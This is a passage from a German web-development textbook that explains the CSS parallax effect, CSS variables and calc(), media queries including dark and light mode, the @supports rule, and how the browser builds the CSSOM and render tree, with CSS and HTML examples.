.parallax > :nth-of-type(3) {
  z-index:3; /* nicht zwingend notwendig */
  top:50vh;
  transform:translateZ(0px);
}


                

            

            Das Ergebnis sehen Sie als Abfolge von Screenshots in Abbildung 6.84.

            
                [image: Die Wirkung des Parallax-Effekts]

                Abbildung 6.84    
            Die Wirkung des Parallax-Effekts

            
            Die Verschiebung in z-Richtung ist direkt proportional mit der Verkleinerung der Ebenen. Sollten Sie also daran interessiert sein, dass die Ebenen immer die gesamte Breite des umgebenden Containers abdecken, so gilt: Ein Pixel Verschiebung in die negative z-Richtung (also -1px) bewirkt eine Verkleinerung auf 50 %, zwei Pixel auf 33 %, drei Pixel auf 25 % usw. In Abschnitt 6.19, »Ein erster Schritt in Richtung Programmierung mit CSS-Variablen«, lernen Sie die Grundlagen von Berechnungen in CSS kennen und erfahren, wie Sie damit eine Formel basteln könnten.

            Nun haben wir’s. Jetzt müssen wir eigentlich nur noch unsere entwickelte Idee sinnvoll in ein reales Projekt integrieren. Dass der Parallax-Effekt nicht nur in vertikaler, sondern auch in horizontaler Richtung funktioniert ist klar (wie beispielsweise bei Jump-and-Run-Spielen, die von links nach rechts ablaufen). Hierzu müssen Sie die perspective-origin lediglich nach links (oder rechts) legen und ein horizontales Scrollen (anstatt des vertikalen Scrollens) erlauben.

            Fassen wir also noch einmal zusammen, an welchen Schrauben wir drehen können:

            
                	
                    perspective: Je kleiner der Wert ist, umso stärker ist der Effekt.

                

                	
                    perspective-origin: Legt den Fluchtpunkt fest und kann beliebig gesetzt werden; standardmäßig ist es der Mittelpunkt (center).

                

                	
                    translateZ: Je größer der Wert ist, umso weiter nach hinten wandern die betroffenen Container. Übrigens können Sie den Wert auch in Teilen von Pixeln angeben, also etwa als 0.5px. Negative Werte bedeuten, dass sich das Objekt weiter nach hinten verschiebt.

                

            

            Eins noch: Falls Sie es gerne etwas mathematischer haben wollen, gibt es natürlich einen mathematischen Zusammenhang zwischen der perspective- und der transform-Eigenschaft. Dieser Zusammenhang wird als Translationsmatrix bezeichnet und ist im offiziellen Standard des W3-Konsortiums zu finden: https://drafts.csswg. org/css-transforms-2/#perspective-matrix-computation.

            
                [+]  Tipps zum Parallax-Effekt

                Setzen Sie Effekte sinnvoll und zielorientiert ein. Parallax-Effekte sind dort sinnvoll, wo Sie eine Dreidimensionalität vortäuschen möchten, beispielsweise in Spielen, wo der Vorder- und der Hintergrund visuell gut wahrgenommen werden sollen.

            

        
    


                    
                        
        6.19    Ein erster Schritt in Richtung Programmierung mit CSS-Variablen

        Lange fehlte in CSS die Möglichkeit, Eigenschaftswerte (ähnlich wie in Programmiersprachen) in Form von Variablen abzulegen. Mittlerweile ist dies möglich. Wie auch in einer Programmiersprache selbst wird zunächst festgelegt, in welchem Gültigkeitsbereich die Variable verwendbar sein soll:

        
            	
                global (also in allen CSS-Regeln) gültige Variablen:

                :root {
  ...
}


            

            	
                Variablen, die nur von den selektierten Elementen und ihren Kindern verwendet werden können:

                Selektor {
  ...
}


            

        

        Eine Variable wird dann mit zwei führenden Bindestrichen definiert:

        --farbe:green; 


        Um diese Variable in weiterer Folge verwenden zu können, nutzen wir die Funktion var(). Hier wird als Beispiel die zuvor definierte Variable --farbe als Schriftfarbe für Absätze verwendet:

        :root {
  --farbe:green;
}
...
p {
  color:var(--farbe);
}


        Die Namensgebung von CSS-Variablen unterliegt den typischen Regeln, die für Variablen in anderen Programmiersprachen gelten (mehr dazu lernen Sie in Kapitel 7 zur JavaScript-Programmierung): keine Leerzeichen, keine Sonderzeichen und keine Umlaute im Namen, keine führenden Ziffern etc.

        
            [+]  Variablen in CSS-Dateien auslagern

            Gerne werden Variablen in externe CSS-Dateien ausgelagert, um sie in mehreren HTML-Dokumenten zur Verfügung zu haben.

        

        
            6.19.1    Mathematische Berechnungen in CSS

            Nachdem Sie nun Variablen kennengelernt haben, ist der Schritt zu Berechnungen und den damit zusammenhängenden Funktionen nicht mehr allzu groß. Ganz generell können Berechnungen mithilfe der calc-Methode durchgeführt werden.

            Betrachten wir ein Beispiel. Nehmen wir an, Sie wollen ein absolut oder fix positioniertes Element mittig im Viewport platzieren. Nun wissen Sie jedoch, dass solch positionierte Elemente mit ihrer linken, oberen, rechten und unteren Ecke, aber nicht mit ihrer Mitte platziert werden. (Mittig wäre einfach gewesen, denn dann hätten wir etwas wie »links: 50 %« und »oben: 50 %« schreiben können.)

            Wollen wir also ein Rechteck der Größe 500 × 250 px mittig im Viewport platzieren, so müssen wir einen Wert für die linke und obere Ecke berechnen, und zwar wie folgt:

            
                	
                    linke Ecke: (Breite des Viewports minus Breite des Rechtecks) dividiert durch 2

                

                	
                    obere Ecke: (Höhe des Viewports minus Höhe des Rechtecks) dividiert durch 2

                

            

            Diese Berechnung ist immer dann einfach, wenn wir genau wissen, wie groß einerseits der Viewport und andererseits das Rechteck ist. Genau hier liegt jedoch unser Problem: Wir haben keine Ahnung, wie groß der Viewport des Users ist. Dies ließe sich nur über Programmierung (also durch den Einsatz von JavaScript und Konsorten) ermitteln. Was wir aber wissen, ist, dass der Viewport 100 vw breit und 100 vh hoch ist. Würden wir also wie folgt rechnen, so könnte das klappen:

            
                	
                    linke Ecke: (100 vw – BreiteRecheck) / 2

                

                	
                    obere Ecke: (100 vh – HöheRechteck) / 2

                

            

            Und genau das kann die calc-Methode für uns erledigen (siehe Abbildung 6.85)! Wir definieren die Breite und die Höhe des Rechtecks als Variablen und berechnen dann die Position:

            #Rechteck {
  --w:500px; /* gewünschte Breite des Rechtecks */
  --h:250px; /* gewünschte Höhe des Rechtecks */
  position:fixed;
  z-index:1;
  width:var(--w);
  height:var(--h);
  left:calc((100vw - var(--w)) / 2);
  top:calc((100vh - var(--h)) / 2);
}


            Folgende Punkte müssen wir beim Einsatz der calc-Methode beachten:

            
                	
                    Zwischen den mathematischen Operatoren für die Addition (+) und die Subtraktion (-) müssen immer Leerzeichen (Whitespaces) geschrieben werden. Bei der Multiplikation (*) und der Division (/) ist das nicht nötig, es wird jedoch empfohlen.

                

                	
                    Die jeweiligen Einheiten müssen immer mit angegeben werden. Beispielsweise ist die Länge 0 nicht erlaubt, die Länge 0px jedoch schon.

                

                	
                    Klammersetzung ist erlaubt und erwünscht, jedoch stehen uns (wie in der gesamten Programmierwelt üblich) nur die runden Klammern zur Verfügung.

                

            

            
                [image: Ein mittig platziertes Rechteck mithilfe von CSS-Variablen und der »calc«‐Methode]

                Abbildung 6.85    
            Ein mittig platziertes Rechteck mithilfe von CSS-Variablen und der »calc«‐Methode

            
            CSS stellt uns viele weitere mathematische Funktionen zur Verfügung, auf die ich hier nicht genauer eingehe. Eine Auflistung all dieser Funktionen finden Sie jedoch wie gewohnt auf der Website von Mozilla, beispielsweise auch die Beschreibung der calc-Methode:

            https://developer.mozilla.org/en-US/docs/Web/CSS/calc

            
                [»]  Methode vs. Funktion

                Sollten Sie verwirrt sein, warum es manchmal Methode und manchmal Funktion heißt: Die Programmierkapitel werden Licht ins Dunkel bringen. Zu diesem Zeitpunkt ist die Unterscheidung zwischen Methode und Funktion jedoch völlig irrelevant.

            

        
    


                    
                        
        6.20    Media Queries und @-Regeln aus Rücksichtnahme auf die User-Anforderungen

        Media Queries werden eingesetzt, um Formatierungsregeln auf Ausgabegerätetypen (Bildschirm, Drucker etc.) und gewisse, vorgegebene Eigenschaften (Viewport-Breite und -höhe, Gerätebreite und -höhe etc.) einzuschränken. Sie können entweder in Form von CSS-Regeln oder mittels externer CSS-Dateien eingesetzt werden.

        
            [Info]  Media Queries und Levels

            Aktuell liegen die Möglichkeiten der Media Queries in Level 4 vor. Wie in CSS üblich, werden die unterschiedlichen Gruppen an Möglichkeiten in Form von Levels veröffentlicht, was man auch als Versionierung betrachten könnte.

        

        Für den Fall externer CSS-Dateien ist gemeint, dass eine CSS-Datei nur dann eingebunden wird bzw. dass deren beinhaltete Regeln nur dann zum Tragen kommen, wenn die Media Query gilt. Sehen wir uns hierzu ein Beispiel an, bei dem die in der CSS-Datei befindlichen Regeln nur im Fall des Drucks angewendet werden:

        <link rel="stylesheet" media="print" href="css/print.css">


        Hierbei wird auf ein Ausgabegerät namens print zugegriffen. Wie Sie sich leicht vorstellen können, beinhaltet die Datei print.css offensichtlich Regeln, die nur dann zum Einsatz kommen sollen, wenn die betroffene Webseite ausgedruckt werden soll.

        Ganz allgemein könnte man also sagen, dass Media Queries auf folgende Arten genutzt werden können:

        
            	
                mithilfe der at-Regeln @media und @import: Diese werden angewandt, um Regeln unter gewissen Voraussetzungen anzuwenden.

            

            	
                mithilfe von Tags, die ein media-Attribut erlauben (wie etwa <style>, <source>, <link>, <picture> etc.): Hierdurch wird eine Einschränkung auf Tag-Ebene möglich, wie wir etwa bei der Besprechung des <picture> gesehen haben.

            

        

        Gehen wir’s zunächst einmal ganz formal an. Eine Media Query ist grundsätzlich folgendermaßen aufgebaut:

        @media not|only mediatype and (expressions) {
  CSS-Code;
}


        bzw. so:

        @import url(PFAD) mediatype and (expressions) {
  CSS-Code;
}


        wobei die expressions wiederum wie folgt aufgebaut sind. Die eckige Klammer [ soll andeuten, dass die folgenden logischen Verbindungen optional sind:

        mediafeature [and|or|not mediafeature


        Betrachten wir einige Beispiele:

        /* wird die Webseite gedruckt, so wird als Standardschrift "Times New Roman" verwendet: */
@media print {
  body {
    font-family: "Times New Roman", serif;
  }
}
 
/* Die CSS-Datei opensans_variable.css wird nur für den Fall importiert, dass die Viewport-Darstellung im Querformat ist: */
@import url(fonts/OpenSans/opensans_variable.css) screen and (orientation:landscape);
 
/* Die Bildquelle wird nur für den Fall eingebettet, dass die Viewport-Breite max. 30em beträgt und die maximale DPI-Rate 150 ist: */
...


        <picture>
  <source srcset="images/small.jpg" media="(max-width:30em) and ↩ 
(max-resolution:150dpi)">
  ...
</picture>


        Wendet man dies beispielsweise auf die Einbettung von CSS-Dateien an, so würde bekanntermaßen <link> zum Einsatz kommen (die eckige Klammer [ deutet an, dass diese Parameter optional sind):

        <link rel="stylesheet" media="mediatype [and mediafeature [and|or|not mediafeature" href="URL">


        Seit CSS3 stehen (mittlerweile nur noch) folgende Medientypen zur Verfügung:

        
            	
                all: kennzeichnet alle Medientypen (Default-Wert).

            

            	
                print: Ausdrucke

            

            	
                screen: Bildschirm

            

        

        Die Medienfeatures auf der anderen Seite werden ständig mehr, weshalb in Tabelle 6.7 der aktuelle Stand im Januar 2024 dargestellt wird.
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        Tabelle 6.7    
            Media Features (Stand: Januar 2024)

        Die wichtigen Media Features habe ich hervorgehoben, wobei die Auswahl natürlich immer vom jeweiligen Projekt abhängt; im Allgemeinen werden Sie jedoch die hervorgehobenen Features häufig(er) einsetzen. Sehen wir uns diese nun genauer an.

        
            6.20.1    width und height

            width und height ermöglichen die Einschränkung auf eine gegebene Breite oder Höhe, wobei auch die Angaben min-width, max-width, min-height und max-height erlaubt sind:

            @media screen and (max-width:48em) {
  header nav ul {
    display:none;
  }
  header > button.burger {
    display:block;
  }
}


            Diese Media Query würde etwa bis zu einer Maximalbreite von 48 em (entspricht 768 px) ungeordnete Listen einer Navigation im Header ausblenden, dafür einen (jeden) Button der Klasse .burger im Header einblenden, der ein direktes Kind von <header> ist. Somit wird die Standardnavigation ausgeblendet und ein Burger-Button eingeblendet (zumindest könnte dies damit gemeint sein).

            
                [»]  Media Queries Level 4

                Seit Level 4 der Media Queries könnten wir die obige Media Query auch in der Form @media screen and (width <=48em) { … } schreiben.

            

            Ein weiteres Beispiel ist ein wenig komplexer aufgebaut:

            @media screen and (min-width:30em) and (max-width:60em), (min-width:90em) {
  body {
    background-color:#eee;
  }
} 


            Diese Regel gilt entweder für eine Screendarstellung, sofern die Minimalbreite gleich 30 em und die Maximalbreite gleich 60 em ist oder wenn – egal auf welchem Ausgabemedium – die Minimalbreite gleich 90 em ist.

            Anmerkung: Auch dieses Beispiel könnte seit Level 4 wiederum in einer einfacheren Form geschrieben werden:

            @media screen and (30em <= width <= 60em), (width >= 90em) { …}.


        
        
            6.20.2    orientation

            orientation erlaubt die Werte portrait und landscape und ermöglicht somit eine Unterscheidung von Hoch- und Querformatdarstellung:

            @media screen and (orientation:portrait) {
  body {
    background-image:url(media/hgpic_portrait.webp);
  }
}
@media screen and (orientation:landscape) {
  body {
    background-image:url(media/hgpic_landscape.webp);
  }
}


            Der obige Code würde je nach Viewport-Orientierung unterschiedliche Hintergrundbilder für den <body> festlegen. Beachten Sie bitte die Betonung auf den Viewport: Auch ein Browserfenster auf einem Querformatbildschirm kann eine Hochformatdarstellung erzwingen, wenn der Viewport höher als breiter ist.

        
        
            6.20.3    pointer

            pointer ermöglicht es Ihnen, festzustellen, mit welcher Form von Zeigegerät der User arbeitet: none (beispielsweise nur Tastatureingabe möglich), fine (z. B. Maus oder Stift) oder coarse (z. B. Finger). Diese Angabe wird gerne verwendet, um etwa klickbare Bereiche je Eingabegerät-Art zu optimieren:

            button,
input[type=button],
input[type=submit] {
  border:1px solid green;
  color:green;
}
@media screen and (pointer:fine) {
  input[type=checkbox] {
    width:1em;
    height:1em;
  }
}
@media screen and (pointer:coarse) {
  input[type=checkbox] {
    width:2em;
    height:2em;
  }
  button,
  input[type=button],
  input[type=submit] {
    border:2px solid steelblue;
    color:steelblue;
    font-size:1.5em;
  }
}


            Je nach Zeigegerät würden die Checkbox und der Button unterschiedlich dargestellt werden. Für das feine Zeigegerät ergäbe eine Anzeige wie in Abbildung 6.86.

            
                [image: In der Normaldarstellung ist die einfache Größe von Checkbox und Button ausreichend.]

                Abbildung 6.86    
            In der Normaldarstellung ist die einfache Größe von Checkbox und Button ausreichend.

            
            Für das grobe Zeigegerät hingegen würden sich der Button (Schriftgröße) und die Checkbox vergrößern. Außerdem würde der Button anders eingefärbt werden, wie Abbildung 6.87 zeigt.

            
                [image: Eine vergrößerte Checkbox und ein vergrößerter Button für das grobe Zeigegerät. Schließlich soll unser User die Bedienelemente auch treffen können.]

                Abbildung 6.87    
            Eine vergrößerte Checkbox und ein vergrößerter Button für das grobe Zeigegerät. Schließlich soll unser User die Bedienelemente auch treffen können.

            
            Außer zur Größenänderung von Checkboxen kommt diese Media Query recht häufig zum Einsatz, um die Darstellung von Links zu ändern: Bedenkt man etwa, dass die genormte Fingerkuppengröße (ja, ein solcher Wert existiert in der Tat …) 7 × 7 mm groß ist, was etwa 34 × 34 px (und somit ca. 2 × 2 em) entspricht, so muss ein User ohne feines Zeigegerät dennoch Links betätigen/anklicken können. Dies erreicht man, indem man Links eine (leichte) Hintergrundeinfärbung gibt, die eine Höhe von mindestens 2 em besitzt, sodass ein Link ein Button-artiges Aussehen erhält (siehe Abbildung 6.88):

            a {
  color:hsl(240,100%,50%);
}
@media screen and (pointer:coarse) {
  a {
    background-color:hsla(240,100%,50%,0.1);
    padding:0.5em;
    line-height:1;
    border-radius:0.2em;
    text-decoration:none;
  }
}


            
                [image: Der obige Absatz zeigt die Darstellung eines Links für ein feines Zeigegerät; der untere Absatz hingegen zeigt einen Link für grobe Zeigegeräte.]

                Abbildung 6.88    
            Der obige Absatz zeigt die Darstellung eines Links für ein feines Zeigegerät; der untere Absatz hingegen zeigt einen Link für grobe Zeigegeräte.

            
        
        
            6.20.4    resolution

            resolution ermöglicht den Einsatz von Formatierungsregeln, die auf der Bildschirmauflösung basierend (gemessen in dpi/dpcm). Alternativ zur dpi-Angabe kann auch die Einheit ddpx (Dots per Pixel) verwendet werden, wobei die Umrechnung von Pixel auf Inch mittlerweile mit »ein Pixel = 1/96 eines Inch« festgelegt wurde.

            Angewandt auf den HTML-Code …

            <p class="single">Bis 120dpi (ppi)</p>
<p class="double">Bis 250dpi (ppi)</p>
<p class="higher">Mehr als 250dpi (ppi)</p>


            ... ergibt der folgende CSS-Code …

            @media screen and (max-resolution:120dpi) {
  body {
    background-color:steelblue;
    color:white;
  }
  p.single {
    display:block;
  }
  p:not(.single) {
    display:none;
  }
}
@media screen and (max-resolution:250dpi) {
  body {
    background-color:black;
    color:white;
  }
  p.double {
    display:block;
  }
  p:not(.double) {
    display:none;
  }
}
@media screen and (min-resolution:250dpi) {
  body {
    background-color:#eee;
    color:#333;
  }
  p.higher {
    display:block;
  }
  p:not(.higher) {
    display:none;
  }
}


            … auf einem MacBook Pro (mit einer Pixeldichte von 221 dpi) die Ausgabe in Abbildung 6.89.

            
                [image: Die hohe Pixeldichte des MacBook Pro (221 ppi) ergibt die Darstellung eines schwarzen Hintergrundes mit weißer Schrift wie in der Media Query vorgesehen.]

                Abbildung 6.89    
            Die hohe Pixeldichte des MacBook Pro (221 ppi) ergibt die Darstellung eines schwarzen Hintergrundes mit weißer Schrift wie in der Media Query vorgesehen.

            
            Eine vollständige Auflistung aller Media Features finden Sie wie üblich auf der Website des W3-Konsortiums oder etwa auf der Developer-Seite von Mozilla:

            https://developer.mozilla.org/en-US/docs/Web/CSS/@media#media_features

        
        
            6.20.5    Dark Mode vs. Light Mode

            Eine weitere – recht spannende – Angelegenheit ist auch die Unterscheidung zwischen Darstellungsmodi in Hinblick auf eine helle bzw. dunkle Umgebung, Thema Dark und Light Mode. Im Wesentlichen geht es darum, wie die grundlegende Gestaltung der Website in Hinblick auf Vordergrund- und Schriftfarbe erfolgen soll:

            
                	
                    Light Mode: Der Hintergrund der Website wird bevorzugt in hellen Farben dargestellt, die Schrift erscheint in dunklen Farben.

                

                	
                    Dark Mode: Entgegen dem Light Mode bevorzugt der Dark Mode einen dunklen Hintergrund mit heller Schriftfarbe.

                

            

            Vereinfacht gesagt wirkt eine Website im Light Mode hell, im Dark Mode dunkel. Dennoch müssen Sie an dieser Stelle zwei Arten unterscheiden, wie der User zu diesen Modi gelangt:

            
                	
                    ein bewusster, durch den User gewählter Modus, beispielsweise durch Betätigen eines Buttons zum Umschalten zwischen einem Light und einem Dark Mode

                

                	
                    Das Betriebssystem steuert den Wechsel zwischen den beiden Modi, beispielsweise aufgrund der Uhrzeit oder der Umgebungshelligkeit.

                

            

            Üblicherweise sind wir an der zweiten Methode interessiert, da die erste Methode schlussendlich nichts anderes ist als ein Wechsel von Farben, der durch eine bewusste Handlung des Users erfolgt – und das ist nichts, was uns vor große Herausforderungen stellen würde: Button erzeugen, bei einem Klick dem <body> die Klasse dark hinzufügen oder diese wegnehmen, wobei die beiden Klassen jeweils unterschiedliche Farben für die Darstellung wählen. Das zugehörige Code-Fragment (unter Vorgriff auf ein wenig JavaScript) sieht so aus:

            <style>


            :root {
  --col_hg:#eee;
  --col_font:#333;
}
.dark {
  --col_hg:#111;
  --col_font:#eee;
}
body {
  background-color:var(--col_hg);
  color:var(--col_font);
}


            </style>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.3/jquery.min.js"></script>
<script>


            $(document).ready(function() {
  $("#btnColorscheme").on("click",function() {
    $("body").toggleClass("dark");
  });
});


            </script>
<body>
  <button type="button" id="btnColorscheme">switche Light/Dark Mode</button>
</body>


            Ein Problem an dieser Methode tritt dennoch auf: Der gewählte Modus wird nicht übernommen, wenn der User eine neue Seite der Website besucht. Sollte dies gewünscht sein, so muss der gewählte Modus auf irgendeine Art gespeichert werden. Wie so etwas vonstatten gehen kann, lernen Sie in Abschnitt 7.17 zum Thema lokale Datenspeicherung mithilfe von JavaScript sowie in Abschnitt 11.9 zum Thema Sessions mithilfe von PHP.

            Wesentlich spannender ist demnach diejenige Variante, bei der der Wechsel zwischen Dark und Light Mode vom Betriebssystem angestoßen wird (siehe Abbildung 6.90). Die gute Nachricht dabei ist, dass alle gängigen Betriebssysteme die beiden Modi unterstützen: macOS (ab Mojave), iOS (13.0+), Windows (10+) und Android (10+).

            
                [image: Einstellungen zum Erscheinungsbild unter macOS Ventura]

                Abbildung 6.90    
            Einstellungen zum Erscheinungsbild unter macOS Ventura

            
            Damit der Browser für die aktuelle Website im Rahmen seines Browser-Stylesheets (User Agent Stylesheet / UA Stylesheet) Rücksicht auf den gewählten Modus nehmen kann, muss dies zunächst mithilfe eines Meta-Tags oder mithilfe von CSS bekannt gegeben werden. Dabei geben die folgenden Code-Schnipsel sowohl den Dark als auch den Light Mode als »von der Website unterstützt« an. Sollte nur einer der beiden Modi unterstützt werden, so wird nur der gewünschte Modus angegeben:

            
                	
                    HTML-Variante: <meta name="color-scheme" content="dark light">

                

                	
                    CSS-Variante: :root { color-scheme: light dark; }

                

            

            
                [»]  Browser- vs. Autoren-Stylesheet

                Bitte beachten Sie, dass dies lediglich Einstellungen für das Browser-Stylesheet sind. In der Regel werden die Einstellungen durch das Autoren-Stylesheet überschrieben, wodurch diese Angaben vielleicht etwas übertrieben erscheinen. Der Vollständigkeit halber sollten Sie diese Methode dennoch nutzen, denn schaden tut es sicherlich nicht.

            

            Um die Wahl des Modus durch das Betriebssystem zu berücksichtigen, benötigen wir die Media Query zu prefers-color-scheme:

            @media (prefers-color-scheme: light) {
  …
}
@media (prefers-color-scheme: dark) {
  …
}


            Angewandt auf das vorige Beispiel, ergäbe unser Ansatz folgenden Code:

            body {
  background-color:var(--col_hg);
  color:var(--col_font);
}
@media (prefers-color-scheme: light) {
  :root {
    --col_hg:#eee;
    --col_font:#333;
  }
}
@media (prefers-color-scheme: dark) {
  :root {
    --col_hg:#111;
    --col_font:#eee;
  }
}


            Man könnte sagen: »As easy as can be«. Dennoch liegt der Schlüssel zum Erfolg wie üblich im Detail, wenn wir folgende Punkte berücksichtigen:

            
                	
                    Was ist mit der Typografie im Dark Mode? Werden zu fette Schriften verwendet, so wirken diese zu kontrastreich; werden hingegen zu magere Schriften verwendet, so gehen diese vielleicht im dunklen Hintergrund unter.

                

                	
                    Sollten Bilder in einem Dark Mode nicht auch etwas dunkler und kontrastärmer dargestellt werden, da ansonsten der Helligkeitskontrast zu hoch wird und das Bild den Betrachter blendet?

                

                	
                    Wie steht es um den Schattenwurf, der im Light Mode üblicherweise dunkel ist? Sollte man diesen im Dark Mode heller machen?

                

            

            Insgesamt läuft es offensichtlich darauf hinaus, dass mehr als nur ein paar wenige Änderungen an der Farbpalette vorgenommen werden müssen. Sehen wir uns die erforderlichen Änderungen im Einzelnen an.

            
                	
                    Schriftstärke/Schriftgewicht der Schrift: Im Dark Mode sollten Sie etwas dünnere Schriften verwenden. Sollte beispielsweise im Light Mode mit einer Schriftstärke von 400 gearbeitet werden, so sollten Sie im Dark Mode zu einer Schriftstärke von ca. 350 greifen; im Falle von 500 im Light Mode könnte man 400–450 für die Schriftstärke im Dark Mode einsetzen usw. Möglich ist das jedoch nur dann, wenn Sie entweder variable Fonts verwenden oder Schriften einsetzen, die diese Schriftstärken auch unterstützen, wobei Zweiteres eher unwahrscheinlich ist.

                    @media (prefers-color-scheme: light) {
  :root {
    --schriftgewicht:400;
  }
}
@media (prefers-color-scheme: dark) {
  :root {
    --schriftgewicht:350;
  }
}
body {
  font-weight:var(--schriftgewicht);
}


                

                	
                    Bildkontrast: Dieser Problematik entgegnen wir, indem wir CSS-Filter für den Kontrast (1.2 → Kontrast erhöhen) und die Helligkeit (0.8 → Helligkeit reduzieren) einsetzen:

                    @media (prefers-color-scheme: dark) {
  img, picture {
    filter:brightness(0.8) contrast(1.2);
  }
}


                

                	
                    Schattenwurf: Dieses Problem lässt nicht ganz so einfach lösen, da ein heller Schatten auf dunklem Hintergrund nicht denselben optischen Effekt erzeugt wie dunkler Schatten auf hellem Hintergrund. Das bedeutet, dass ein simples Invertieren der Schattenfarbe selten ein befriedigendes Ergebnis liefert. Vielmehr wäre es besser, dass die Hintergrundfarbe nicht ganz so dunkel ist, sodass ein dunklerer Schatten noch möglich ist:

                    @media (prefers-color-scheme: dark) {
  :root {
    --col_hg:#222;
    --col_schatten:black;
  }
}


                

            

            Eine gute Quelle, um sich einen genaueren Eindruck vom Thema Kontrast zu verschaffen, ist diejenige zum Material Design für Android:

            https://m2.material.io/design/color/dark-theme.html#ui-application

            Summa summarum dürfen wir sagen, dass es nicht ausreicht, nur die Hintergrund- und die Schriftfarbe zu tauschen, um einem Moduswechsel gerecht zu werden.

            Ich werde im Kapitel zu Responsive Webdesign im Abschnitt 8.5.1, »Media Queries als das verbindende Element« noch einmal auf die Media Queries zurückkommen, da sie dort so richtig wichtig für uns werden.

        
        
            6.20.6    Was wird vom Browser unterstützt? Ein Blick auf die @supports-Regel

            Die @media-Regel schränkt Regeln auf Basis von Media Queries ein, die @import-Regel importiert externe Dateien nur unter gewissen Voraussetzungen. So weit, so gut. Aber wie sieht es mit den weiteren Features aus, die ein Browser zu bieten hat? Hier kommt die @supports-Regel ins Spiel, mit deren Hilfe Sie überprüfen können, ob eine beliebige Eigenschaft samt Wert vom Browser unterstützt wird. Die Schreibweise ist der von Media Queries sehr ähnlich, weshalb Sie sich sicher gut damit zurechtfinden werden:

            @supports (Eigenschaft:Wert) [and | or | not (Eigenschaft:Wert) {
  ...
}


            Das folgende Beispiel stellt etwa Regeln auf, die nur dann zum Einsatz kommen, wenn CSS-Grids unterstützt werden:

            @supports (display:grid) {
  .grid {
    display:grid;
    ...
  }
}


            Dies verhilft uns dazu, frühzeitig auf neuere Features in CSS zu setzen und diese – sofern der Browser sie unterstützt – auch anzuwenden.

        
    


                    
                        
        6.21    Advanced Stuff: CSSOM

        Wir hatten uns zu Beginn des Kapitels bereits darüber unterhalten, wie der Browser den bestehenden Dokumentbaum formatiert. Nachdem Sie nun so einiges Wissen angehäuft haben, wollen wir uns die Formatierung noch einmal im Detail ansehen. Betrachten wir zunächst einmal folgenden Code für HTML und CSS:

        
            
                
                    	
                        HTML

                    
                    	
                        CSS

                    
                

            
            
                
                    	
                        <body>
  <article class="prod0">
    <header>Text</header>
    <figure>...</figure>
  </article>
    <article class="prod1">
    <header>Text</header>
    <figure>...</figure>
  </article>
</body>


                    
                    	
                        body {
  font-family:Arial, sans-serif;
  font-size:1.2rem;
  line-height:1.5;
}
.prod0 {
  color:red;
}
.prod1 {
  color:green;
}
.prod0 > figure {
  visibility:hidden;
}
.prod1 > figure {
  display:none;
}


                    
                

            
        

        Tabelle 6.8    
            Ein HTML-<body> und sein CSS

        Der CSS-Code definiert zunächst Regeln für den Body, die im Weiteren von den untergeordneten Elementen geerbt werden. Außerdem werden für die Elemente der Klassen .prod0 und .prod1 samt den darin befindlichen <figure>-Kindelementen Regeln definiert. Aus diesen Regeln baut der Browser nun zunächst ein Modell – das CSSOM (CSS Object Model). Dieses Modell ist sehr ähnlich zum DOM, das Sie bereits kennen. Den Vorgang, in dem der Browser DOM und CSSOM aufbaut, nennen wir Parsing (siehe Abbildung 6.91).

        
            [image: Neben dem DOM baut der Browser auch ein CSS Object Model (CSSOM) auf.]

            Abbildung 6.91    
            Neben dem DOM baut der Browser auch ein CSS Object Model (CSSOM) auf.

        
        
            [Info]  Parsing

            Unter dem Begriff Parsing versteht man das Erkennen von Code. Wenn Sie sich vor Augen führen, dass ein Browser aus den einzelnen Bytes, die er mit einem Response des Servers empfängt, zunächst einmal Zeichen bilden muss und diese dann zu Wörtern (Tag-Namen, Attributen, Werten etc.) zusammensetzen muss, so können Sie sich vorstellen, dass das eine ordentliche Aufgabe für den Browser ist.

        

        Der interessantere Teil ist jedoch nun der, in dem diese beiden getrennten Objektmodelle zusammengeführt werden – das Rendering:

        
            	
                Zunächst sucht der Browser diejenigen Regeln aus, die das gesamte HTML bzw. den Body betreffen, und wendet diese an. (Was genau beim Anwenden geschieht, erläutere ich gleich.)

            

            	
                Danach werden die spezielleren Regeln angewendet.

            

        

        Das Ergebnis dieses Prozesses ist der Render Tree, in dem jedem HTML-Element die betreffenden Regeln zugewiesen werden (siehe Abbildung 6.92). In diesem Prozess werden sämtliche nicht sichtbaren Elemente (diejenigen mit display:none, nicht diejenigen mit visibility:hidden; hidden-Elemente sind ja eigentlich sichtbar, indem sie Platz am Bildschirm benötigen – sie werden nur nicht angemalt) ignoriert.

        
            [image: Der Render Tree zeigt, welchen Elementen welche Regeln zugewiesen werden. Ausgeblendete Elemente werden nicht in den Render Tree aufgenommen.]

            Abbildung 6.92    
            Der Render Tree zeigt, welchen Elementen welche Regeln zugewiesen werden. Ausgeblendete Elemente werden nicht in den Render Tree aufgenommen.

        
        Ab diesem Zeitpunkt ist zwar klar, welche Elemente dargestellt werden sollen, jedoch sind ihre Größe und ihre Position noch nicht bekannt. Dieser Schritt erfolgt im Layouting, dessen Ergebnis das bekannte Box-Modell ist. Dennoch sieht man am Ende dieses Schrittes immer noch nichts am Bildschirm. Das eigentliche Anmalen der Pixel am Monitor erfolgt in einem vierten Schritt – dem Painting. Hier werden der Reihe nach die folgenden Eigenschaften abgearbeitet:

        
            	
                Hintergrundfarbe

            

            	
                Hintergrundbild

            

            	
                Rahmen

            

            	
                untergeordnete Elemente (Kinder)

            

            	
                Outline

            

        

        
            [»]  Outline

            Die Outline ist eine Kontur, die dem Rahmen einer Box ähnelt, jedoch für gewisse Anwendungen zum Einsatz kommt, etwa zur Kennzeichnung, ob man sich in einem Eingabefeld eines Formulars befindet. Die Outline wird häufig verwendet, um das aktive Element auf dem Bildschirm des Users zu kennzeichnen.

        

        
            6.21.1    Hindernisse

            Problematisch wird der obige Ablauf dann, wenn der CSS-Code auf viele Dateien verteilt ist (der Browser wartet nämlich, bis alle CSS-Regeln vorliegen) oder wenn Elemente mittels JavaScript manipuliert, entfernt oder hinzugefügt werden. In diesem Fall muss das DOM und müssen somit auch das CSSOM und der Render Tree neu aufgebaut werden, was natürlich zu Verzögerungen führt. Aus diesem Grund gebe ich Ihnen folgende Tipps:

            
                	
                    Versuchen Sie, CSS-Regeln in so wenigen Quellen (Dateien, im HTML-Code) wie möglich abzulegen. Ideal wäre eine einzige Datei, in der sämtlicher CSS-Code abgebildet ist.

                

                	
                    Laden Sie JavaScript-Code erst, nachdem das CSSOM fertig ist. Wie Sie das schaffen, erkläre ich in Kapitel 7 zu JavaScript.

                

            

        
    


                    
